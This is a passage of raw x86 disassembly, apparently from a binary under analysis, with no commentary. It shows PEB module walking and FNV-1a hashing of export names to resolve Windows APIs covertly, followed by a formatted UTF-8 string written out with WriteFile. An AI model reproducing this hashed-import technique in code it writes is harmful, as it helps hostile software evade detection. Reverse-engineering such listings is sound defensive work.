lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x44f90c
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x44f90c
mov eax, dword [eax + 0x20]
mov edx, dword [ebp - 8]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x44f8fa
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x44f8c7
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
cmp edi, 0x1ed908f5
je 0x44fdac
mov eax, dword [ebp - 0xc]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x44f8b6
xor eax, eax
mov dword [0x4f37f0], eax
mov ecx, dword [ebp - 0xf4]
push 0x400
push dword [ecx]
lea ecx, [ebp - 0x178]
push ecx
call eax
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x44fcd6
mov esi, dword [ebp - 0x1c]
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x11
jb 0x44f670
mov ecx, 0x1fffe
call fcn.004bca70
mov ebx, eax
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x44fcd3
lea eax, [ebp - 0xe4]
push eax
push 0x2e7
push 0x4e4238
call fcn.00459630
test eax, eax
je 0x44fcd3
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
push dword [eax + 0x40]
push ecx
push dword [eax + 0x3c]
push ecx
push dword [eax + 0x38]
push ecx
push dword [eax + 0x34]
push ecx
push dword [eax + 0x30]
push ecx
push dword [eax + 0x2c]
push ecx
push dword [eax + 0x28]
push ecx
push dword [eax + 0x24]
push ecx
push dword [eax + 0x20]
push ecx
push dword [eax + 0x1c]
push ecx
push dword [eax + 0x18]
push ecx
push dword [eax + 0x14]
push ecx
push dword [eax + 0x10]
push ecx
push dword [eax + 0xc]
push ecx
push dword [eax + 8]
push ecx
push dword [eax + 4]
push ecx
push dword [eax]
lea eax, [ebp - 8]
push ecx
push dword [ebp - 0xe4]
push 0xffff
push eax
call fcn.004bcff0
add esp, 0x94
mov ecx, ebx
call fcn.004bcfd0
mov ebx, dword [0x4f3810]
mov dword [ebp - 0x20], eax
test ebx, ebx
jne 0x44fa81
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x1c], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44fa68
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x1c]
imul eax, eax, 0x1000193
mov dword [ebp - 0x1c], eax
cmp edi, ebx
jne 0x44fa30
cmp eax, 0xa3e6f6c3
je 0x44fdc6
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x44fa79
cmp dword [ecx + 0x18], 0
jne 0x44fa10
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4f37a4]
test eax, eax
jne 0x44fb21
test ebx, ebx
je 0x44fb1a
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0xec], eax
lea eax, [ecx + ebx]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x44fb1a
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x44fb1a
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x1c], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x44fb08
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x44fad3
mov ecx, dword [ebp - 4]
cmp edi, 0xa83e21de
je 0x44fdd1
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], eax
cmp ecx, dword [edx + 0x18]
jne 0x44fac3
xor eax, eax
mov dword [0x4f37a4], eax
push 0
push 0
push 0
push 0
push dword [ebp - 0x20]
push dword [ebp - 8]
push 0
push 0xfde9
call eax
mov dword [ebp - 0xec], eax
test eax, eax
jle 0x44fcd3
mov ecx, eax
call fcn.004bca70
mov edi, eax
mov dword [ebp - 0x28], edi
test edi, edi
je 0x44fcd3
mov ebx, dword [0x4f3810]
test ebx, ebx
jne 0x44fbf4
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x1c], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44fbd8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x1c]
imul eax, eax, 0x1000193
mov dword [ebp - 0x1c], eax
cmp edi, ebx
jne 0x44fba0
cmp eax, 0xa3e6f6c3
je 0x44fdee
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x44fbe9
cmp dword [ecx + 0x18], 0
jne 0x44fb81
xor ebx, ebx
mov edi, dword [ebp - 0x28]
mov dword [0x4f3810], ebx
mov eax, dword [0x4f37a4]
test eax, eax
jne 0x44fc91
test ebx, ebx
je 0x44fc87
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x44fc87
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x44fc87
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x1c], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x44fc75
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x44fc40
mov ecx, dword [ebp - 4]
cmp edi, 0xa83e21de
je 0x44fdf9
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], eax
cmp ecx, dword [edx + 0x18]
jne 0x44fc30
xor eax, eax
mov edi, dword [ebp - 0x28]
mov dword [0x4f37a4], eax
mov esi, dword [ebp - 0xec]
push 0
push 0
push esi
push edi
push dword [ebp - 0x20]
push dword [ebp - 8]
push 0
push 0xfde9
call eax
push 0
lea eax, [ebp - 0x158]
push eax
mov eax, dword [ebp - 0x18]
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
xor ecx, ecx
mov edx, 1
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0xe8], ecx
mov ebx, dword [ebp - 0x14]
xor esi, esi
mov ecx, dword [ebx + esi*4]
test ecx, ecx
je 0x44fce4
call fcn.004bced0
inc esi
cmp esi, 0x11
jb 0x44fcd8
mov ecx, ebx
call fcn.004bced0
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x18]
jmp 0x44fe1f
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x44e990
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x44ea39
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x44ec2b
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x44eccc
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 0x18]
jmp 0x44f56b
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + ebx]
add ecx, ebx
jmp 0x44f60d
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 0x18]
jmp 0x44f71d
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x44f7be
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 0x18]
jmp 0x44f86b
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x44f90e
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x44fa7b
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x44fb1c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x44fbeb
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x44fc89
xor ebx, ebx
jmp 0x44fe1f
xor ebx, ebx
or esi, 0xffffffff
mov ecx, dword [ebp - 0xe4]
test ecx, ecx
je 0x44fe2e
call fcn.004bced0
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x44fe3c
mov ecx, eax
call fcn.004bced0
test edi, edi
je 0x44fe47
mov ecx, edi
call fcn.004bced0
test ebx, ebx
je 0x44fe52
mov ecx, ebx
call fcn.004bced0
cmp esi, 0xffffffff
je 0x44fe5f
push esi
call fcn.00411330
call eax
mov eax, dword [ebp - 0xe8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret